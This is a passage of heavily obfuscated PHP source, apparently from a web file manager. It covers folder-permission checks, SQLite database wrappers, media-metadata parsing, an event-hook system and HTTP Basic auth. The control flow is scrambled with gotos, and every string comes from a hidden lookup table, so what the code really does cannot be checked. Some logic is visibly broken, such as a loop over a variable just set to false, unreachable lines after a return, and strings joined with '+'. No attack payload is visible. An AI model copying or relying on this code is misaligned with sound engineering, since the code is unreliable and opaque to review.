Model($C蚫[1104])->parentLevelArray($c‚[$C蚫[455]]); $Bқ = array_merge(array($c‚[$C蚫[365]]), array_reverse($Bқ)); $a٣ = $C蚫[2230]; goto b̦; b̦: $a䇊 = array($C蚫[379] => array($C蚫[380], $Bқ)); $B笷 = $this->field($a٣)->where($a䇊)->select(); $B笷 = array_to_keyvalue_group($B笷, $C蚫[365]); goto A; d烣: $C蚫 =& $_SERVER[ֹ]; if (empty($c‚[$C蚫[372]]) || isset($c‚[$C蚫[2244]]) && $c‚[$C蚫[2244]]) { return $c‚; } if (AuthModel::authCheckRoot($c‚[$C蚫[372]][$C蚫[373]])) { return $c‚; } goto c两; Cᆪ: $c‚[$C蚫[372]][$C蚫[2246]] = Model($C蚫[470])->userListInfo($Fē); return $c‚; goto E; fҷǥ: if (count($Fē) == 0) { $Fē = $this->authFolderOwnerGroup($c‚[$C蚫[452]]); } $Fē = array_unique($Fē); if (AuthModel::authCheckRoot($c‚[$C蚫[372]][$C蚫[373]])) { $Fē[] = USER_ID; } goto Cᆪ; A: $FӜ = array(); $Fē = array(); foreach ($B笷 as $eΜս => $f) { $B뿑 = $this->authFolderOwnerUser($f); $FӜ[$eΜս] = $B뿑; $Fē = array_merge($Fē, $B뿑[$C蚫[531]]); if ($B뿑[$C蚫[2245]]) { break; } } goto fҷǥ; E: } private function authFolderOwnerGroup($Fð) { $e჈ =& $_SERVER[ֹ]; $E = Model($e჈[2154])->where(array($e჈[2079] => $Fð))->select(); $B嘰 = array(); if (!$E) { return $B嘰; } foreach ($E as $a椵Ư) { $e = $this->authInfo($a椵Ư); if (AuthModel::authCheckRoot($e[$e჈[372]])) { $B嘰[] = $a椵Ư[$e჈[1415]]; } } return $B嘰; } private function authFolderOwnerUser($C) { $dք =& $_SERVER[ֹ]; $aܫъ = array(); $C = !1; foreach ($C as $C) { $C = $this->authInfo($C); if ($C[$dք[452]] == $dք[464]) { $C = !0; } if ($C[$dք[367]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($C[$dք[372]])) { $aܫъ[] = $C[$dք[452]]; } } } return array($dք[531] => $aܫъ, $dք[2245] => $C); } public function authMake($C㾊) { goto aτ; a黽ɪڒ: $Fܧ = 0; $F뿜 = array($B֙׌[365] => 0); foreach ($C㾊 as $F뿜) { $E׃ = $this->authInfo($F뿜); $f䋩 = $F뿜[$B֙׌[452]]; $b緓 = intval($E׃[$B֙׌[372]]); if ($F뿜[$B֙׌[367]] == SourceModel::TYPE_USER && $f䋩 == USER_ID) { $eΖ = !0; $aƸ = $E׃; $C㞎 = $b緓; } else { if ($F뿜[$B֙׌[367]] == SourceModel::TYPE_GROUP && in_array($f䋩, $D᎑)) { $E坃 = !0; if ($b緓 >= $e򸽯) { $e򸽯 = $b緓; $fǧԾ = $E׃; } } else { if ($f䋩 == $B֙׌[464]) { $Fܧ = !0; $Aꡎ = $E׃; $cĭԅ = $b緓; } } } } goto dާ; dާ: $a = $eΖ ? $C㞎 : ($E坃 ? $e򸽯 : $cĭԅ); $E׃ = $eΖ ? $aƸ : ($E坃 ? $fǧԾ : $Aꡎ); $Dѹ = $eΖ ? $B֙׌[2247] : ($E坃 ? $B֙׌[2248] : ($Fܧ ? $B֙׌[2249] : $B֙׌[357])); goto Eǟ꣌; E: $Aꡎ = 0; $eΖ = 0; $E坃 = 0; goto a黽ɪڒ; aτ: $B֙׌ =& $_SERVER[ֹ]; if (!$C㾊) { return array($B֙׌[373] => 0, $B֙׌[414] => !1); } $dҒ = Session::get($B֙׌[2192]); goto E; D: $cĭԅ = 0; $aƸ = 0; $fǧԾ = 0; goto E; E: $D᎑ = array_to_keyvalue($dҒ, $B֙׌[33], $B֙׌[2079]); $C㞎 = 0; $e򸽯 = 0; goto D; Eǟ꣌: $eヘ = array($B֙׌[2238] => intval($a), $B֙׌[2239] => $E׃, $B֙׌[2233] => array($B֙׌[384] => $Dѹ, $B֙׌[75] => $F뿜[$B֙׌[365]])); return $eヘ; goto B; B: } public function authTargetInfoMake($Bҩן) { goto Aׇ; F﫳: return array($f曒[2250] => $Fצ, $f曒[2241] => $A툱); goto eá厥; Aׇ: $f曒 =& $_SERVER[ֹ]; $Fצ = array(); $A툱 = array(); goto fʴ; fʴ: foreach ($Bҩן as $Eǽ) { if ($Eǽ[$f曒[367]] == SourceModel::TYPE_USER) { $Fצ[] = intval($Eǽ[$f曒[452]]); } else { if ($Eǽ[$f曒[367]] == SourceModel::TYPE_GROUP) { $A툱[] = intval($Eǽ[$f曒[452]]); } } } if ($Fצ) { $Fצ = Model($f曒[470])->userListInfo($Fצ); } if ($A툱) { $D = array($f曒[2152] => array($f曒[380], $A툱)); $A툱 = Model($f曒[454])->field($f曒[2165])->where($D)->select(); $A툱 = array_to_keyvalue($A툱, $f曒[2079]); } goto F﫳; eá厥: } private function authInfo($fᮬ) { $B۝Ж =& $_SERVER[ֹ]; if ($fᮬ[$B۝Ж[2208]]) { $fħ = Model($B۝Ж[2227])->listData($fᮬ[$B۝Ж[2208]]); if (!$fħ) { return !1; $a = Model($B۝Ж[2227])->listData(); $e = array_filter_by_field($a, $B۝Ж[372], $B۝Ж[464]); return $e; } $aۉ = array_field_key($fħ, array($B۝Ж[363], $B۝Ж[28], $B۝Ж[372], $B۝Ж[2097], $B۝Ж[2100])); $aۉ[$B۝Ж[2251]] = $fᮬ; return $aۉ; } else { return array($B۝Ж[381] => 0, $B۝Ж[2085] => $fᮬ[$B۝Ж[2209]], $B۝Ж[382] => $B۝Ж[33], $B۝Ж[2097] => $B۝Ж[2252]); } } } goto eƆӔ; C: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { goto E; E: $Eۏ =& $_SERVER[ֹ]; global $in, $config; $this->config =& $config; goto Dǥ; Dǥ: $this->in =& $in; $this->values[$Eۏ[6]] =& $config; $this->values[$Eۏ[7]] =& $in; goto F뭚; F뭚: $this->tpl = TEMPLATE . MOD . $Eۏ[8]; $this->_classObjectID = mt_rand(0, 10000); goto Fѵ; Fѵ: } public function loadClass($bޠ) { if (1 === func_num_args()) { $this->{$bޠ} = new $bޠ(); } else { $d = new ReflectionClass($bޠ); $aд = func_get_args(); array_shift($aд); $this->{$bޠ} = $d->newInstanceArgs($aд); } return $this->{$bޠ}; } protected function assign($Eʷ„, $c) { $this->values[$Eʷ„] = $c; } protected function display($F) { ob_end_clean(); extract($this->values); require $this->tpl . $F; } } class DbSqliteBase extends Db { public function __construct($aͯҨ = '') { $b؃ =& $_SERVER[ֹ]; if (!extension_loaded($b؃[9])) { think_exception(think_lang($b؃[10]) . $b؃[11]); } if (!empty($aͯҨ)) { if (!isset($aͯҨ[$b؃[12]])) { $aͯҨ[$b؃[12]] = 438; } $this->config = $aͯҨ; if (empty($this->config[$b؃[13]])) { $this->config[$b؃[13]] = array(); } } } public function connect($A脂 = '', $D = 0) { $EҢ =& $_SERVER[ֹ]; if (!isset($this->linkID[$D])) { goto Eծ; Eծ: if (empty($A脂)) { $A脂 = $this->config; } $C = !empty($A脂[$EҢ[13]][$EҢ[14]]) ? $A脂[$EҢ[13]][$EҢ[14]] : $this->pconnect; $A = $C ? $EҢ[15] : $EҢ[16]; goto E; B泅: @sqlite_busy_timeout($this->linkID[$D], 30000); if (1 != think_config($EҢ[18])) { unset($this->config); } goto B; E: $this->linkID[$D] = $A($A脂[$EҢ[17]], $A脂[$EҢ[12]]); if (!$this->linkID[$D]) { think_exception(sqlite_error_string()); } $this->connected = !0; goto B泅; B: } return $this->linkID[$D]; } public function free() { $this->queryID = null; } public function query($aϝ) { goto Dծ; eߐ: $this->queryStr = $aϝ; if ($this->queryID) { $this->free(); } think_action_status($f˖[19], 1); goto D䔚; bƴ: if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $FǑҽ = $this->getAll(); return $FǑҽ; } goto C˛֐; Dծ: $f˖ =& $_SERVER[ֹ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto eߐ; D䔚: think_status($f˖[20]); $this->queryID = sqlite_query($this->_linkID, $aϝ); $this->debug(); goto bƴ; C˛֐: } public function execute($b) { goto a۟; A׻ڋ: if (!1 === $dى) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } goto a; a۟: $A翡 =& $_SERVER[ֹ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto D; d֪: think_status($A翡[20]); $dى = sqlite_exec($this->_linkID, $b); $this->debug(); goto A׻ڋ; D: $this->queryStr = $b; if ($this->queryID) { $this->free(); } think_action_status($A翡[21], 1); goto d֪; a: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[ֹ][22]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $d¼ = sqlite_query($this->_linkID, $_SERVER[ֹ][23]); if (!$d¼) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $dשЬ = sqlite_query($this->_linkID, $_SERVER[ֹ][24]); if (!$dשЬ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $D = array(); if ($this->numRows > 0) { for ($AԊ = 0; $AԊ < $this->numRows; $AԊ++) { $D[$AԊ] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $D; } public function getFields($f) { $Aƿイ =& $_SERVER[ֹ]; $e΋۩ = $this->query($Aƿイ[25] . $f . $Aƿイ[26]); $f = array(); if ($e΋۩) { foreach ($e΋۩ as $C => $aԳ) { $f[$aԳ[$Aƿイ[27]]] = array($Aƿイ[28] => $aԳ[$Aƿイ[27]], $Aƿイ[29] => $aԳ[$Aƿイ[30]], $Aƿイ[31] => (bool) ($aԳ[$Aƿイ[32]] === $Aƿイ[33]), $Aƿイ[34] => $aԳ[$Aƿイ[35]], $Aƿイ[36] => strtolower($aԳ[$Aƿイ[37]]) == $Aƿイ[38], $Aƿイ[39] => strtolower($aԳ[$Aƿイ[40]]) == $Aƿイ[41]); } } return $f; } public function getTables($b׉ = '') { $D =& $_SERVER[ֹ]; $A© = $this->query($D[42] . $D[43] . $D[44]); $fڢ = array(); foreach ($A© as $b㘦 => $fܠ) { $fڢ[$b㘦] = current($fܠ); } return $fڢ; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $A툅ƹ =& $_SERVER[ֹ]; $aؚ = sqlite_last_error($this->_linkID); $this->error = $aؚ . $A툅ƹ[4] . sqlite_error_string($aؚ); if ($A툅ƹ[33] != $this->queryStr) { $this->error .= LNG($A툅ƹ[45]) . $this->queryStr; } think_trace($this->error, $A툅ƹ[33], $A툅ƹ[46]); return $this->error; } public function escapeString($fĆ) { return sqlite_escape_string($fĆ); } public function parseLimit($EƦ) { $Dޠ =& $_SERVER[ֹ]; $c֋LJ߂ = $Dޠ[33]; if (!empty($EƦ)) { $EƦ = explode($Dޠ[47], $EƦ); if (count($EƦ) > 1) { $c֋LJ߂ .= $Dޠ[48] . $EƦ[1] . $Dޠ[49] . $EƦ[0] . $Dޠ[50]; } else { $c֋LJ߂ .= $Dޠ[48] . $EƦ[0] . $Dޠ[50]; } } return $c֋LJ߂; } } class DbSqlite3Base extends Db { public function __construct($e = '') { $B֖ =& $_SERVER[ֹ]; if (!class_exists($B֖[51])) { think_exception(think_lang($B֖[10]) . $B֖[52]); } if (!empty($e)) { if (!isset($e[$B֖[12]])) { $e[$B֖[12]] = 438; } $this->config = $e; if (empty($this->config[$B֖[13]])) { $this->config[$B֖[13]] = array(); } } } public function connect($F덟 = '', $c͊ = 0) { $FÔ =& $_SERVER[ֹ]; if (!isset($this->linkID[$c͊])) { if (empty($F덟)) { $F덟 = $this->config; } $this->linkID[$c͊] = new SQLite3($F덟[$FÔ[17]]); if (!$this->linkID[$c͊]) { think_exception($this->linkID[$c͊]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$c͊]->busyTimeout(30000); if (1 != think_config($FÔ[18])) { unset($this->config); } } return $this->linkID[$c͊]; } public function free() { $this->queryID = null; } public function query($CԈ) { goto C; b熸: think_status($AӍ[20]); $this->queryID = $this->_linkID->query($CԈ); $this->debug(); goto A; C: $AӍ =& $_SERVER[ֹ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto d; A: if (!1 === $this->queryID) { $this->error(); return !1; } else { $aɜ = $this->getAll(); $this->numRows = count($aɜ); return $aɜ; } goto FӬ󢑰; d: $this->queryStr = $CԈ; if ($this->queryID) { $this->free(); } think_action_status($AӍ[19], 1); goto b熸; FӬ󢑰: } public function execute($B̧؉) { goto aƠܟ; c׵: $this->queryStr = $B̧؉; if ($this->queryID) { $this->free(); } think_action_status($EˬΡ[21], 1); goto Cਲ਼; A狗޲: if (!1 === $D) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } goto Bݹ∌; aƠܟ: $EˬΡ =& $_SERVER[ֹ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto c׵; Cਲ਼: think_status($EˬΡ[20]); $D = $this->_linkID->exec($B̧؉); $this->debug(); goto A狗޲; Bݹ∌: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[ֹ][22]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $E隞 = $this->_linkID->query($_SERVER[ֹ][23]); if (!$E隞) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $A = $this->_linkID->query($_SERVER[ֹ][24]); if (!$A) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $E = array(); while ($BډӪ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $E[] = $BډӪ; } $this->queryID->reset(); return $E; } public function getFields($Dŕ) { $d =& $_SERVER[ֹ]; $Ẹ = $this->query($d[25] . $Dŕ . $d[26]); $eڕӾ = array(); if ($Ẹ) { foreach ($Ẹ as $d => $Aӏʍ) { $eڕӾ[$Aӏʍ[$d[28]]] = array($d[28] => $Aӏʍ[$d[28]], $d[29] => $Aӏʍ[$d[29]], $d[31] => (bool) ($Aӏʍ[$d[31]] === $d[33]), $d[34] => $Aӏʍ[$d[53]], $d[36] => (bool) $Aӏʍ[$d[54]], $d[39] => (bool) $Aӏʍ[$d[54]]); } } return $eڕӾ; } public function getTables($Bɜ = '') { $E· =& $_SERVER[ֹ]; $d = $this->query($E·[42] . $E·[43] . $E·[44]); $fޘ = array(); foreach ($d as $dѳ => $D) { $fޘ[$dѳ] = current($D); } return $fޘ; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $c٨ =& $_SERVER[ֹ]; $this->error = $this->_linkID->lastErrorMsg(); if ($c٨[33] != $this->queryStr) { $this->error .= LNG($c٨[45]) . $this->queryStr; } think_trace($this->error, $c٨[33], $c٨[46]); return $this->error; } public function escapeString($bшﲦ) { $aղÍ =& $_SERVER[ֹ]; if ($this->_linkID) { return $this->_linkID->escapeString($bшﲦ); } return str_ireplace($aղÍ[55], $aղÍ[56], $bшﲦ); } public function parseLimit($Bޡ) { $D =& $_SERVER[ֹ]; $C؅ = $D[33]; if (!empty($Bޡ)) { $Bޡ = explode($D[47], $Bޡ); if (count($Bޡ) > 1) { $C؅ .= $D[48] . $Bޡ[1] . $D[49] . $Bޡ[0] . $D[50]; } else { $C؅ .= $D[48] . $Bޡ[0] . $D[50]; } } return $C؅; } } goto c; Bɮ: class GetInfo { private static $fileTypeArray; public static function get($E쬏ή) { $D = IO::info($E쬏ή); return self::infoAdd($D); } public static function infoAdd(&$c͝撃) { goto Dȣ; Dژ: if (!$c͝撃 || $c͝撃[$eɷ[29]] != $eɷ[163]) { return; } if (!self::support($c͝撃[$eɷ[156]]) || isset($c͝撃[$eɷ[422]])) { return; } $Fʣ = $eɷ[1588] . $c͝撃[$eɷ[75]]; goto cК; E߂: $cļ͈[$eɷ[368]] = $A; $c͝撃[$eɷ[422]] = $cļ͈; return $c͝撃; goto Bѩט; cК: $A = $c͝撃[$eɷ[156]]; try { if ($c͝撃[$eɷ[156]] == $eɷ[1589]) { $cļ͈ = self::psdParse($Fʣ); $A = $eɷ[1590]; } else { if ($c͝撃[$eɷ[156]] == $eɷ[1591]) { $cļ͈ = self::pdfParse($Fʣ); } else { $A = self::$fileTypeArray[$eɷ[1592]][$c͝撃[$eɷ[156]]]; $f = self::$fileTypeArray[$eɷ[1593]][$A][$eɷ[1594]]; $b = @$Cڂ->analyze($Fʣ, $c͝撃[$eɷ[77]], $c͝撃[$eɷ[28]]); $cļ͈ = self::parseData($b, $f, $c͝撃); } } } catch (Exception $e) { $cļ͈ = array($eɷ[368] => $A); } if (!$cļ͈) { return; } goto E߂; Dȣ: $eɷ =& $_SERVER[ֹ]; static $Cڂ; if (!$Cڂ) { require SDK_DIR . $eɷ[1587]; $Cڂ = new getID3(); } goto Dژ; Bѩט: } public static function support($d) { goto b; b򏨠: $a = array($BՉ[1591], $BՉ[1589]); if (in_array($d, $a)) { return !0; } if (isset(self::$fileTypeArray[$BՉ[1592]][$d])) { return !0; } goto b͈; b: $BՉ =& $_SERVER[ֹ]; if (!self::$fileTypeArray) { self::$fileTypeArray = self::fileTypeParse(); } $d = strtolower($d); goto b򏨠; b͈: return !1; goto F׷; F׷: } private static function parseData($Fč, $Dۿ, $cב) { $fԐ =& $_SERVER[ֹ]; $BԜ = $Fč[$fԐ[1595]]; $Cڶ = array(); foreach ($Dۿ as $f̭џ => $eů) { foreach ($eů as $eǜ׹) { if (is_array($eǜ׹)) { $eԓ = self::parseData($Fč, $eů, $cב); if ($eԓ) { $Cڶ[$f̭џ] = $eԓ; } break; } $d̋׶ = str_replace($fԐ[1368], $BԜ, $eǜ׹); $eԓ = _get($Fč, $d̋׶); $eԓ = is_array($eԓ) ? $eԓ[0] : $eԓ; if ($eԓ) { break; } } if ($eԓ || $eԓ === 0 || $eԓ === !1) { $eԓ = self::valueReset($eǜ׹, $eԓ, $f̭џ); if ($eԓ !== null) { $Cڶ[$f̭џ] = $eԓ; } } } $Cڶ = self::valueResetAll($Cڶ, $cב); return $Cڶ; } private static function psdParse($b) { $fĞ =& $_SERVER[ֹ]; if (IO::fileSubstr($b, 0, 4) != $fĞ[1596]) { return !1; } $b = getImageSize($b, $a); if (!$b) { return; } $cϣ = array($fĞ[1511] => $b[0], $fĞ[1513] => $b[1]); return $cϣ; } private static function pdfParse($c͇) { return FileParsePdf::parse($c͇); } private static function fileTypeParse() { $eݬ =& $_SERVER[ֹ]; $a֣ = self::fileTypeArray(); $a = array(); foreach ($a֣ as $b͇ => $Bǎ) { $eՙ = _get($Bǎ, $eݬ[156], $eݬ[33]); $eʻ = is_string($eՙ) ? explode($eݬ[47], $eՙ) : $eՙ; if (!$eʻ) { continue; } foreach ($eʻ as $eՙ) { $eՙ = strtolower(trim($eՙ)); if (!$eՙ) { continue; } $a[$eՙ] = $b͇; } $a֣[$b͇][$eݬ[156]] = array_keys($a); $a֣[$b͇][$eݬ[1594]] = self::parseKeyMap($Bǎ[$eݬ[1594]]); } return array($eݬ[1593] => $a֣, $eݬ[1592] => $a); } private static function parseKeyMap($a܍ԉ) { $E =& $_SERVER[ֹ]; foreach ($a܍ԉ as $d => $F߱) { if (is_array($F߱)) { $Dɰ = self::parseKeyMap($F߱); if ($Dɰ) { $a܍ԉ[$d] = $Dɰ; } continue; } $aՌ = explode($E[47], $F߱); $e = array(); foreach ($aՌ as $E) { $E = trim($E); if (!$E) { continue; } if (preg_match($E[1597], $E, $A֧)) { $eʝ = explode($E[267], $A֧[1]); foreach ($eʝ as $A˃) { $e[] = str_replace($A֧[0], $A˃, $E); } } else { $e[] = $E; } } $a܍ԉ[$d] = $e; } return $a܍ԉ; } private static function valueResetAll($Eت, $e) { goto aȌЮ; aȌЮ: $a =& $_SERVER[ֹ]; if (isset($Eت[$a[1598]])) { $b = ceil($Eت[$a[1598]]); $cČ = intval($b / 3600); $bɓ = intval(($b - $cČ * 3600) / 60); $B = $b % 60; $Eت[$a[1599]] = sprintf($a[1600], $cČ, $bɓ, $B); if ($cČ == 0) { $Eت[$a[1599]] = sprintf($a[1601], $bɓ, $B); } } $cɢ = _get($Eت, $a[1602]); goto Eڜ; B族: $D׊ = _get($Eت, $a[1610], $a[33]); $A = $f֐ꉅ . $Fܟ . $D׊; if ($A && get_charset($A) != $a[322]) { $Eت[$a[1607]][$a[1323]] = iconv_to($Eت[$a[1607]][$a[1323]], get_charset($A), $a[322]); $Eت[$a[1607]][$a[1611]] = iconv_to($Eت[$a[1607]][$a[1611]], get_charset($A), $a[322]); $Eت[$a[1607]][$a[1612]] = iconv_to($Eت[$a[1607]][$a[1612]], get_charset($A), $a[322]); } goto eڍ; Eڜ: if ($cɢ) { $a١ = IO_PATH_SYSTEM_TEMP . $a[1603] . KodIO::hashPath($e) . $a[1604]; $Eت[$a[1605]] = Action($a[1606])->pluginCacheFileSet($a١, $cɢ); unset($Eت[$a[1607]][$a[1590]]); } $f֐ꉅ = _get($Eت, $a[1608], $a[33]); $Fܟ = _get($Eت, $a[1609], $a[33]); goto B族; eڍ: return $Eت; goto BĐ; BĐ: } private static function valueReset($c, $A, $F) { $dçʡ =& $_SERVER[ֹ]; $C = $dçʡ[1528]; switch ($c) { case $dçʡ[1613]: $A = $A == $dçʡ[83] ? $dçʡ[1614] : $dçʡ[1615]; break; case $dçʡ[1616]: $A = $A ? $A : null; break; default: break; } switch ($F) { case $dçʡ[1617]: $A = round($A, 2); break; case $dçʡ[183]: case $dçʡ[106]: if ($A < 0) { $A = null; } else { if (is_numeric($A)) { $A = date($C, $A); } } break; default: break; } return $A; } private static function fileTypeArray() { $Bᴄ =& $_SERVER[ֹ]; return array($Bᴄ[1590] => array($Bᴄ[156] => $Bᴄ[1618] . $Bᴄ[1619], $Bᴄ[1594] => array($Bᴄ[1511] => $Bᴄ[1620], $Bᴄ[1513] => $Bᴄ[1621], $Bᴄ[1622] => $Bᴄ[1623], $Bᴄ[1624] => $Bᴄ[1625], $Bᴄ[183] => $Bᴄ[1626], $Bᴄ[106] => $Bᴄ[1627], $Bᴄ[1628] => $Bᴄ[1629], $Bᴄ[1630] => $Bᴄ[1631], $Bᴄ[1632] => $Bᴄ[1633], $Bᴄ[1634] => $Bᴄ[1635], $Bᴄ[1636] => $Bᴄ[1637], $Bᴄ[1638] => $Bᴄ[1639], $Bᴄ[1640] => $Bᴄ[1641], $Bᴄ[1642] => array($Bᴄ[1643] => $Bᴄ[1644], $Bᴄ[1645] => $Bᴄ[1646], $Bᴄ[1647] => $Bᴄ[1648]), $Bᴄ[1649] => $Bᴄ[1650], $Bᴄ[1651] => $Bᴄ[1652], $Bᴄ[1653] => $Bᴄ[1654], $Bᴄ[1655] => $Bᴄ[1656], $Bᴄ[1657] => array($Bᴄ[1658] => $Bᴄ[1659], $Bᴄ[1660] => $Bᴄ[1661], $Bᴄ[1662] => $Bᴄ[1663], $Bᴄ[1664] => $Bᴄ[1665], $Bᴄ[1666] => $Bᴄ[1667], $Bᴄ[1668] => $Bᴄ[1669], $Bᴄ[1670] => $Bᴄ[1671], $Bᴄ[1672] => $Bᴄ[1673], $Bᴄ[1674] => $Bᴄ[1675], $Bᴄ[1676] => $Bᴄ[1677], $Bᴄ[1678] => $Bᴄ[1679]))), $Bᴄ[1680] => array($Bᴄ[156] => $Bᴄ[1681] . $Bᴄ[1682], $Bᴄ[1594] => array($Bᴄ[1598] => $Bᴄ[1683], $Bᴄ[183] => $Bᴄ[1684], $Bᴄ[106] => $Bᴄ[1685], $Bᴄ[1630] => $Bᴄ[1686], $Bᴄ[1687] => $Bᴄ[1688], $Bᴄ[1689] => $Bᴄ[1616], $Bᴄ[1690] => $Bᴄ[1691], $Bᴄ[1692] => $Bᴄ[1693], $Bᴄ[1694] => $Bᴄ[1695], $Bᴄ[1607] => array($Bᴄ[1323] => $Bᴄ[1696], $Bᴄ[1611] => $Bᴄ[1697], $Bᴄ[1612] => $Bᴄ[1698], $Bᴄ[1699] => $Bᴄ[1700], $Bᴄ[1701] => $Bᴄ[1702], $Bᴄ[1703] => $Bᴄ[1704], $Bᴄ[1590] => $Bᴄ[1705]))), $Bᴄ[1706] => array($Bᴄ[156] => $Bᴄ[1707] . $Bᴄ[1708], $Bᴄ[1594] => array($Bᴄ[1511] => $Bᴄ[1709], $Bᴄ[1513] => $Bᴄ[1710], $Bᴄ[1598] => $Bᴄ[1683], $Bᴄ[183] => $Bᴄ[1711], $Bᴄ[106] => $Bᴄ[1712], $Bᴄ[1617] => $Bᴄ[1713], $Bᴄ[1694] => $Bᴄ[1714], $Bᴄ[1690] => $Bᴄ[1715], $Bᴄ[1630] => $Bᴄ[1716], $Bᴄ[1680] => array($Bᴄ[1689] => $Bᴄ[1616], $Bᴄ[1717] => $Bᴄ[1718], $Bᴄ[1687] => $Bᴄ[1688], $Bᴄ[1694] => $Bᴄ[1695], $Bᴄ[1690] => $Bᴄ[1719], $Bᴄ[1692] => $Bᴄ[1693]))), $Bᴄ[1720] => array($Bᴄ[1594] => array($Bᴄ[1721] => $Bᴄ[1722], $Bᴄ[1723] => $Bᴄ[1724])), $Bᴄ[1725] => array($Bᴄ[1594] => array())); } } class Hook { private static $events = array(); public static function get($e = false) { if (!$e) { return self::$events; } else { return self::$events[$e]; } } public static function apply($fЛ, $cͬܞ = array()) { $B = ActionApply($fЛ, $cͬܞ); if (is_string($fЛ)) { Hook::trigger($fЛ); } return $B; } public static function bind($BǼѭ, $f杹, $bښ = false) { $a =& $_SERVER[ֹ]; if (!isset(self::$events[$BǼѭ])) { self::$events[$BǼѭ] = array(); } self::$events[$BǼѭ][] = array($a[1726] => $f杹, $a[1727] => $bښ, $a[1728] => 0); } public static function once($eݰՕ, $Fӌ) { self::bind($eݰՕ, $Fӌ, !0); } public static function unbind($c۟, $c = false) { if (!$c) { self::$events[$c۟] = array(); return; } $dڙ = self::$events[$c۟]; self::$events[$c۟] = array(); if (!is_array($dڙ)) { return; } for ($Bㅳ = 0; $Bㅳ < count($dڙ); $Bㅳ++) { if ($dڙ[$Bㅳ][$_SERVER[ֹ][1726]] == $c) { continue; } self::$events[$c۟][] = $dڙ[$Bㅳ]; } } public static function filter($b, $fҋ׍) { goto eʊ; eʊ: $bِ =& $_SERVER[ֹ]; $e荏 = self::$events; if (!isset($e荏[$b])) { return $fҋ׍; } goto Aէ; Aէ: $Eç = $e荏[$b]; $b = $fҋ׍; if (!is_array($Eç) || count($Eç) == 0) { return $b; } goto Dꈲ; Dꈲ: for ($B = 0; $B < count($Eç); $B++) { $dж = $Eç[$B]; if ($dж[$bِ[1727]] && $dж[$bِ[1728]] > 1) { continue; } self::$events[$b][$B][$bِ[1728]] = $dж[$bِ[1728]] + 1; $cÜ = self::apply($dж[$bِ[1726]], array($b)); if (gettype($cÜ) == gettype($b)) { $b = $cÜ; } } return $b; goto D̠̮Ŷ; D̠̮Ŷ: } public static function trigger($bѡ) { goto D; D: $e =& $_SERVER[ֹ]; $DȜ = self::$events; $c = !1; goto f; C: return $c; goto Aܣ; f: if (!isset($DȜ[$bѡ])) { return $c; } $c = $DȜ[$bѡ]; if (!is_array($c) || count($c) == 0) { return $c; } goto fԯг; fԯг: $AԔ = func_get_args(); array_shift($AԔ); for ($DӺ = 0; $DӺ < count($c); $DӺ++) { $CݔӐ = $c[$DӺ]; if ($CݔӐ[$e[1727]] && $CݔӐ[$e[1728]] > 1) { continue; } if (defined($e[1729]) && GLOBAL_LOG_HOOK) { write_log($bѡ . $e[1730] . $CݔӐ[$e[1726]], $e[1731]); } self::$events[$bѡ][$DӺ][$e[1728]] = $CݔӐ[$e[1728]] + 1; $Bͻ = self::apply($CݔӐ[$e[1726]], $AԔ); if (defined($e[1729]) && GLOBAL_LOG_HOOK) { write_log(get_caller_info(), $e[1731]); if ($CݔӐ[$e[1728]] == 200) { $d = is_array($CݔӐ[$e[1726]]) ? json_encode_force($CݔӐ[$e[1726]]) : $CݔӐ[$e[1726]]; write_log($e[1732] . $bѡ . $e[1733] . $d, $e[1734]); } } $c = is_null($Bͻ) ? $c : $Bͻ; } goto C; Aܣ: } } class HttpAuth { public static function get() { $Eݕ =& $_SERVER[ֹ]; $cм = $Eݕ[33]; $F׉ = $Eݕ[33]; if (isset($_SERVER[$Eݕ[1735]])) { $cм = $_SERVER[$Eݕ[1735]]; $F׉ = $_SERVER[$Eݕ[1736]]; } elseif (isset($_SERVER[$Eݕ[1737]])) { $A = $_SERVER[$Eݕ[1737]]; if (strpos(strtolower($A), $Eݕ[1738]) === 0) { $b = explode($Eݕ[4], base64_decode(substr($A, 6))); $cм = isset($b[0]) ? $b[0] : $Eݕ[33]; $F׉ = isset($b[1]) ? $b[1] : 0; } } return array($Eݕ[531] => $cм, $Eݕ[893] => $F׉); } public static function error() { goto e; b: die; goto Aʔ; e: $Aȃ =& $_SERVER[ֹ]; header($Aȃ[1739]); header($Aȃ[1740]); goto B祓; B祓: header($Aȃ[1741]); header($Aȃ[1742]); header($Aȃ[1249]); goto b; Aʔ: } public static function make($e, $BӒ) { $Cю =& $_SERVER[ֹ]; return $Cю[1743] + base64_encode($e . $Cю[4] . $BӒ); } } goto aᄏ; dĦӘ: define($_SERVER[ֹ][1912], 16); define($_SERVER[ֹ][1913], 32); class Services_JSON { function __construct($E𪍺 = 0) { $this->use = $E𪍺; } function utf162utf8($c) { $Fދ򚛳 =& $_SERVER[ֹ]; if (function_exists($Fދ򚛳[68])) { return 